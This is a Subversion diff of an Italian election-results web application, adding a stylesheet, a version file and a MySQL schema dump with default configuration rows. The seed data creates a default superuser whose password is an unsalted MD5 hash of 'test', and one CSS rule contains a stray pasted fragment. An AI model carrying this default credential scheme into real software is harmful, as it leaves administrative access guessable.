+}
+/* diventa rosso */
+
+.bggray 	{
+	background-color:#4983b6;
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+	color: #ffffff;
+}
+
+.bggray2 	{
+	background: #EAEAEA; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+	}
+
+.bggray3 	{
+	background: #ffffff;  
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+	}
+
+.normale {
+	background: none; 
+	color: #000000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+}
+.piccolo {
+	BACKGROUND: none; 
+	COLOR: #cccccc; 
+	FONT-SIZE: 10px; 
+	FONT-WEIGHT: normal; 
+	FONT-FAMILY: Verdana, Helvetica; 
+	TEXT-DECORATION: none}
+/**********************************************************************BOTTONI W3C*****************************************************/
+
+.w3cbutton3 {
+background-image:url(images/box_bg.jpg); background-repeat:repeat-x;
+  margin: 0px 0px 0px 5px;
+  width: 95px;
+  border: 1px solid #6A6A6A;<div class=\"dx\">";
+  font-family: helvetica,arial,sans-serif;
+  font-size: 10px;
+  float: left;
+}
+
+.w3cbutton3 a {
+  display: block;
+  width: 100%;
+}
+
+.w3cbutton3 a:link, .w3cbutton3 a:visited {
+  background-color: #8CC8C7;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 a:hover {
+  background-color: #C9F4F3;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 span.w3c {
+  font-weight: bold;
+  padding: 0 0.4em;
+  background-color: #FFFFCC;
+  color: #0C479D;
+}
+
+.w3cbutton3 span.spec {
+  color: #333333;
+}
+
+.w3cbutton3 span.specRed {
+  color: #FF0000;
+}
+
+
Index: /trunk/elezioni/trunk/client/versione.php
===================================================================
--- /trunk/elezioni/trunk/client/versione.php	(revision 44)
+++ /trunk/elezioni/trunk/client/versione.php	(revision 44)
@@ -0,0 +1,3 @@
+<?php
+$versione="pre-2.0";
+?> 
Index: /trunk/elezioni/trunk/eleonline2.sql
===================================================================
--- /trunk/elezioni/trunk/eleonline2.sql	(revision 44)
+++ /trunk/elezioni/trunk/eleonline2.sql	(revision 44)
@@ -0,0 +1,999 @@
+-- MySQL dump 10.10
+--
+-- Host: localhost    Database: vuoto
+-- ------------------------------------------------------
+-- Server version	5.0.19-standard
+
+/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
+/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
+/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
+/*!40101 SET NAMES utf8 */;
+/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
+/*!40103 SET TIME_ZONE='+00:00' */;
+/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
+/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
+/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
+/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
+
+--
+-- Table structure for table `soraldo_access`
+--
+
+DROP TABLE IF EXISTS `soraldo_access`;
+CREATE TABLE `soraldo_access` (
+  `access_id` int(10) NOT NULL,
+  `access_title` varchar(20) default NULL,
+  PRIMARY KEY  (`access_id`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_access`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_access` DISABLE KEYS */;
+LOCK TABLES `soraldo_access` WRITE;
+INSERT INTO `soraldo_access` VALUES (1,'Sospeso'),(16,'Operatore'),(32,'Amministratore'),(64,'Amministratore Unico'),(256,'Superuser');
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_access` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_authors`
+--
+
+DROP TABLE IF EXISTS `soraldo_authors`;
+CREATE TABLE `soraldo_authors` (
+  `aid` varchar(25) NOT NULL default '',
+  `name` varchar(50) default NULL,
+  `id_comune` int(11) NOT NULL default '0',
+  `email` varchar(255) default NULL,
+  `pwd` varchar(40) default NULL,
+  `counter` int(11) NOT NULL default '0',
+  `adminop` tinyint(2) NOT NULL default '0',
+  `admincomune` tinyint(2) NOT NULL default '0',
+  `adminsuper` tinyint(2) NOT NULL default '1',
+  `admlanguage` varchar(30) NOT NULL default '',
+  PRIMARY KEY  (`aid`,`id_comune`),
+  KEY `aid` (`aid`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_authors`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_authors` DISABLE KEYS */;
+LOCK TABLES `soraldo_authors` WRITE;
+INSERT INTO `soraldo_authors` VALUES ('suser','suser',0,'test@','098f6bcd4621d373cade4e832627b4f6',1,0,0,1,'it');
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_authors` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_config`
+--
+
+DROP TABLE IF EXISTS `soraldo_config`;
+CREATE TABLE `soraldo_config` (
+  `sitename` varchar(255) NOT NULL default '',
+  `siteurl` varchar(255) NOT NULL default '',
+  `site_logo` varchar(255) NOT NULL default '',
+  `slogan` varchar(255) NOT NULL default '',
+  `startdate` varchar(50) NOT NULL default '',
+  `adminmail` varchar(255) NOT NULL default '',
+  `tema` varchar(25) NOT NULL,
+  `foot` text NOT NULL,
+  `language` varchar(3) NOT NULL,
+  `blocco` enum('0','1') NOT NULL,
+  `testata` blob,
+  `nome_testata` varchar(50) NOT NULL,
+  `fileout` varchar(255) NOT NULL,
+  `copyright` text NOT NULL,
+  `Versione` int(3) NOT NULL,
+  `patch` int(3) NOT NULL,
+  `siteistat` int(11) NOT NULL,
+  `multicomune` enum('0','1') NOT NULL,
+  `flash` enum('0','1') NOT NULL,
+  `displayerrors` enum('0','1') NOT NULL,
+  `gkey` varchar(100) NOT NULL,
+  `googlemaps` enum('0','1') NOT NULL,
+  `editor` enum('0','1') NOT NULL default '1',
+  `tema_on` enum('0','1') NOT NULL default '1',
+  `ed_user` varchar(25) NOT NULL
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_config`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_config` DISABLE KEYS */;
+LOCK TABLES `soraldo_config` WRITE;
+INSERT INTO `soraldo_config` VALUES ('','http://www.fonte-nuova.it','','Sito istituzionale','Maggio 2009','admin@localhost','facebook','<b>Comune di Menfi</b><br>\r\nvia  - 84023 Menfi (Ag)\r\nTel:  Fax: \r\n<hr>','it','1','','','','Gpl v3',2,0,84023,'1','1','','','0','1','1','Admin');
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_config` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_doc_cons`
+--
+
+DROP TABLE IF EXISTS `soraldo_doc_cons`;
+CREATE TABLE `soraldo_doc_cons` (
+  `id_cons` int(11) NOT NULL,
+  `id_doc` int(11) NOT NULL,
+  `tabella` varchar(25) NOT NULL,
+  KEY `id_cons` (`id_cons`,`id_doc`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_doc_cons`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_doc_cons` DISABLE KEYS */;
+LOCK TABLES `soraldo_doc_cons` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_doc_cons` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_candidati`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_candidati`;
+CREATE TABLE `soraldo_ele_candidati` (
+  `id_cand` int(11) NOT NULL auto_increment,
+  `id_cons` int(11) NOT NULL default '0',
+  `id_lista` int(11) NOT NULL default '0',
+  `cognome` varchar(50) default NULL,
+  `nome` varchar(50) default NULL,
+  `note` tinytext NOT NULL,
+  `simbolo` varchar(30) NOT NULL default '',
+  `num_cand` int(7) NOT NULL default '0',
+  UNIQUE KEY `id_cand` (`id_cand`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_lista` (`id_lista`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_candidati`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_candidati` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_candidati` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_candidati` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_circoscrizione`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_circoscrizione`;
+CREATE TABLE `soraldo_ele_circoscrizione` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_circ` int(11) NOT NULL auto_increment,
+  `num_circ` int(7) NOT NULL default '0',
+  `descrizione` text,
+  UNIQUE KEY `id_circ` (`id_circ`),
+  UNIQUE KEY `id_cons` (`id_cons`,`num_circ`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_circoscrizione`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_circoscrizione` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_circoscrizione` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_circoscrizione` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_collegi`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_collegi`;
+CREATE TABLE `soraldo_ele_collegi` (
+  `id_collegio` int(11) NOT NULL auto_increment,
+  `id_cons_gen` int(11) NOT NULL default '0',
+  `descrizione` text,
+  PRIMARY KEY  (`id_collegio`),
+  KEY `id_cons_gen` (`id_cons_gen`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_collegi`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_collegi` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_collegi` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_collegi` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_come`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_come`;
+CREATE TABLE `soraldo_ele_come` (
+  `id_cons` int(11) NOT NULL default '0',
+  `mid` int(7) NOT NULL auto_increment,
+  `title` varchar(150) NOT NULL default '',
+  `preamble` text NOT NULL,
+  `content` text NOT NULL,
+  `editimage` varchar(100) NOT NULL default '',
+  UNIQUE KEY `mid` (`mid`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_come`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_come` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_come` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_come` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_comu_collegi`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_comu_collegi`;
+CREATE TABLE `soraldo_ele_comu_collegi` (
+  `id_collegio` int(11) NOT NULL default '0',
+  `id_cons` int(11) NOT NULL default '0',
+  `id_comune` int(11) NOT NULL default '0',
+  `id_cons_gen` int(11) NOT NULL default '0',
+  PRIMARY KEY  (`id_cons_gen`,`id_comune`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_collegio` (`id_collegio`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_comu_collegi`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_comu_collegi` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_comu_collegi` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_comu_collegi` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_comuni`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_comuni`;
+CREATE TABLE `soraldo_ele_comuni` (
+  `id_comune` int(11) NOT NULL default '0',
+  `descrizione` varchar(50) default NULL,
+  `indirizzo` varchar(50) default NULL,
+  `centralino` varchar(15) default NULL,
+  `fax` varchar(15) default NULL,
+  `email` varchar(50) default NULL,
+  `fascia` tinyint(4) NOT NULL default '0',
+  `capoluogo` enum('0','1') NOT NULL default '0',
+  `simbolo` text,
+  `stemma` blob,
+  `id_cons` int(11) default '0',
+  PRIMARY KEY  (`id_comune`),
+  KEY `access_id` (`descrizione`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_comuni`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_comuni` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_comuni` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_comuni` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_conf`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_conf`;
+CREATE TABLE `soraldo_ele_conf` (
+  `id_conf` int(11) NOT NULL auto_increment,
+  `descrizione` varchar(50) NOT NULL,
+  `limite` int(2) NOT NULL,
+  `consin` enum('0','1') NOT NULL default '1',
+  `infpremio` int(3) NOT NULL,
+  `supsbarramento` int(3) NOT NULL,
+  `suppremio` int(3) NOT NULL,
+  `listinfsbar` int(3) NOT NULL default '1',
+  `listinfconta` enum('0','1') NOT NULL default '1',
+  `listsupconta` enum('0','1') NOT NULL default '1',
+  `supminpremio` int(3) NOT NULL,
+  `infminpremio` int(3) NOT NULL,
+  PRIMARY KEY  (`id_conf`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_conf`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_conf` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_conf` WRITE;
+INSERT INTO `soraldo_ele_conf` VALUES (1,'Legge Italiana 267/2000',3,'1',67,3,60,3,'1','1',40,40),(2,'Regione Sicilia precedente al 2008',2,'0',67,3,60,3,'1','1',40,40),(3,'Regione Sicilia Legge n. 22 del 16/12/2008',2,'0',67,5,60,3,'1','0',40,40);
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_conf` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_cons_comune`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_cons_comune`;
+CREATE TABLE `soraldo_ele_cons_comune` (
+  `id_cons` int(11) NOT NULL auto_increment,
+  `chiusa` set('0','1','2') NOT NULL default '0',
+  `id_comune` int(11) NOT NULL default '0',
+  `id_cons_gen` int(11) NOT NULL default '0',
+  `id_conf` int(11) NOT NULL default '0',
+  `preferita` enum('0','1') NOT NULL default '0',
+  PRIMARY KEY  (`id_cons`),
+  UNIQUE KEY `comune` (`id_comune`,`id_cons_gen`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_cons_comune`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_cons_comune` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_cons_comune` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_cons_comune` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_consultazione`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_consultazione`;
+CREATE TABLE `soraldo_ele_consultazione` (
+  `id_cons_gen` int(11) NOT NULL auto_increment,
+  `descrizione` text,
+  `data_inizio` date default NULL,
+  `data_fine` date default NULL,
+  `tipo_cons` int(7) NOT NULL default '0',
+  PRIMARY KEY  (`id_cons_gen`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_consultazione`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_consultazione` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_consultazione` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_consultazione` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_documenti`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_documenti`;
+CREATE TABLE `soraldo_ele_documenti` (
+  `id_doc` int(11) NOT NULL auto_increment,
+  `descrizione` varchar(50) NOT NULL,
+  `nomedoc` varchar(25) NOT NULL,
+  `filedoc` blob NOT NULL,
+  PRIMARY KEY  (`id_doc`),
+  KEY `descrizione` (`descrizione`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_documenti`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_documenti` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_documenti` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_documenti` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_fasce`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_fasce`;
+CREATE TABLE `soraldo_ele_fasce` (
+  `id_fascia` int(2) NOT NULL,
+  `abitanti` int(11) NOT NULL,
+  `data_inizio` date NOT NULL,
+  `data_fine` date NOT NULL,
+  `seggi` int(4) NOT NULL,
+  PRIMARY KEY  (`id_fascia`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_fasce`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_fasce` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_fasce` WRITE;
+INSERT INTO `soraldo_ele_fasce` VALUES (1,3000,'2000-01-01','0000-00-00',12),(2,10000,'2000-01-01','0000-00-00',16),(3,15000,'2000-01-01','0000-00-00',20),(4,30000,'2000-01-01','0000-00-00',20),(5,100000,'2000-01-01','0000-00-00',30),(6,250000,'2000-01-01','0000-00-00',40),(7,500000,'2000-01-01','0000-00-00',46),(8,1000000,'2000-01-01','0000-00-00',50),(9,100000000,'2000-01-01','0000-00-00',60);
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_fasce` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_gruppo`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_gruppo`;
+CREATE TABLE `soraldo_ele_gruppo` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL auto_increment,
+  `num_gruppo` int(7) NOT NULL default '0',
+  `descrizione` text,
+  `simbolo` text,
+  `stemma` blob,
+  `id_circ` int(11) NOT NULL default '0',
+  UNIQUE KEY `id_gruppo` (`id_gruppo`),
+  UNIQUE KEY `id_cons` (`id_cons`,`num_gruppo`,`id_circ`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_gruppo`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_gruppo` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_gruppo` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_gruppo` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_link`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_link`;
+CREATE TABLE `soraldo_ele_link` (
+  `id_cons` int(11) NOT NULL default '0',
+  `mid` int(7) NOT NULL auto_increment,
+  `title` varchar(150) NOT NULL default '',
+  `preamble` text NOT NULL,
+  `content` text NOT NULL,
+  `editimage` varchar(100) NOT NULL default '',
+  PRIMARY KEY  (`mid`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_link`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_link` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_link` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_link` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_lista`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_lista`;
+CREATE TABLE `soraldo_ele_lista` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_lista` int(11) NOT NULL auto_increment,
+  `num_lista` int(7) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL default '0',
+  `id_circ` int(11) NOT NULL default '0',
+  `descrizione` text,
+  `simbolo` text,
+  `stemma` blob,
+  PRIMARY KEY  (`id_cons`,`num_lista`,`id_circ`),
+  UNIQUE KEY `id_lista` (`id_lista`),
+  KEY `id_gruppo` (`id_gruppo`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_lista`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_lista` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_lista` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_lista` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_log`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_log`;
+CREATE TABLE `soraldo_ele_log` (
+  `id_cons` int(11) default NULL,
+  `id_sez` int(11) default NULL,
+  `utente` varchar(20) default NULL,
+  `data` date default NULL,
+  `ora` time default NULL,
+  `log_da` text,
+  `log_a` text,
+  `tabella` varchar(30) default NULL,
+  KEY `id_cons` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_log`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_log` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_log` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_log` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_modelli`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_modelli`;
+CREATE TABLE `soraldo_ele_modelli` (
+  `id_cons` int(11) NOT NULL default '0',
+  `categoria` varchar(20) NOT NULL default '',
+  `modello` blob NOT NULL,
+  KEY `access_id` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_modelli`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_modelli` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_modelli` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_modelli` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_numeri`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_numeri`;
+CREATE TABLE `soraldo_ele_numeri` (
+  `id_cons` int(11) NOT NULL default '0',
+  `mid` int(7) NOT NULL auto_increment,
+  `title` varchar(150) NOT NULL default '',
+  `preamble` text NOT NULL,
+  `content` text NOT NULL,
+  `editimage` varchar(100) NOT NULL default '',
+  PRIMARY KEY  (`mid`),
+  KEY `id_cons` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_numeri`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_numeri` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_numeri` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_numeri` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_operatori`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_operatori`;
+CREATE TABLE `soraldo_ele_operatori` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_sede` int(11) NOT NULL default '0',
+  `id_comune` int(11) NOT NULL default '0',
+  `permessi` int(3) default NULL,
+  `aid` varchar(25) NOT NULL default '',
+  UNIQUE KEY `id_cons_aid` (`id_cons`,`aid`,`id_comune`),
+  KEY `id_circ` (`id_comune`),
+  KEY `id_sede` (`id_sede`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_operatori`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_operatori` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_operatori` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_operatori` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_province`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_province`;
+CREATE TABLE `soraldo_ele_province` (
+  `id` tinyint(11) NOT NULL,
+  `descrizione` varchar(30) NOT NULL
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_province`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_province` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_province` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_province` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_regioni`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_regioni`;
+CREATE TABLE `soraldo_ele_regioni` (
+  `id` int(11) NOT NULL,
+  `descrizione` varchar(25) NOT NULL,
+  PRIMARY KEY  (`id`),
+  KEY `descrizione` (`descrizione`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_regioni`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_regioni` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_regioni` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_regioni` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_rilaff`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_rilaff`;
+CREATE TABLE `soraldo_ele_rilaff` (
+  `id_cons_gen` int(11) NOT NULL default '0',
+  `orario` time NOT NULL default '00:00:00',
+  `data` date NOT NULL default '0000-00-00',
+  KEY `id_cons_gen` (`id_cons_gen`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_rilaff`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_rilaff` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_rilaff` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_rilaff` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_sede`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_sede`;
+CREATE TABLE `soraldo_ele_sede` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_sede` int(11) NOT NULL auto_increment,
+  `id_circ` int(11) NOT NULL default '0',
+  `indirizzo` varchar(60) default NULL,
+  `telefono1` varchar(12) default NULL,
+  `telefono2` varchar(12) default NULL,
+  `fax` varchar(12) default NULL,
+  `responsabile` varchar(60) default NULL,
+  `mappa` mediumblob NOT NULL,
+  `filemappa` varchar(100) NOT NULL default '',
+  PRIMARY KEY  (`id_sede`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_circ` (`id_circ`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_sede`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_sede` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_sede` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_sede` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_servizi`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_servizi`;
+CREATE TABLE `soraldo_ele_servizi` (
+  `id_cons` int(11) NOT NULL default '0',
+  `mid` int(7) NOT NULL auto_increment,
+  `title` varchar(150) NOT NULL default '',
+  `preamble` text NOT NULL,
+  `content` text NOT NULL,
+  `editimage` varchar(100) NOT NULL default '',
+  PRIMARY KEY  (`mid`),
+  KEY `id_cons` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_servizi`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_servizi` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_servizi` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_servizi` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_sezioni`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_sezioni`;
+CREATE TABLE `soraldo_ele_sezioni` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL auto_increment,
+  `id_sede` int(11) NOT NULL default '0',
+  `num_sez` int(7) NOT NULL default '0',
+  `maschi` int(4) default NULL,
+  `femmine` int(4) default NULL,
+  `validi` int(7) NOT NULL default '0',
+  `nulli` int(7) NOT NULL default '0',
+  `bianchi` int(7) NOT NULL default '0',
+  `contestati` int(7) NOT NULL default '0',
+  `solo_gruppo` int(7) NOT NULL default '0',
+  `autorizzati_m` int(4) NOT NULL default '0',
+  `autorizzati_f` int(4) NOT NULL default '0',
+  `voti_nulli` int(7) NOT NULL default '0',
+  `validi_lista` int(7) NOT NULL default '0',
+  `contestati_lista` int(7) NOT NULL default '0',
+  `voti_nulli_lista` int(7) NOT NULL default '0',
+  UNIQUE KEY `id_sezi` (`id_sez`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_sede` (`id_sede`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_sezioni`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_sezioni` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_sezioni` WRITE;
+UNLOCK TABLES;
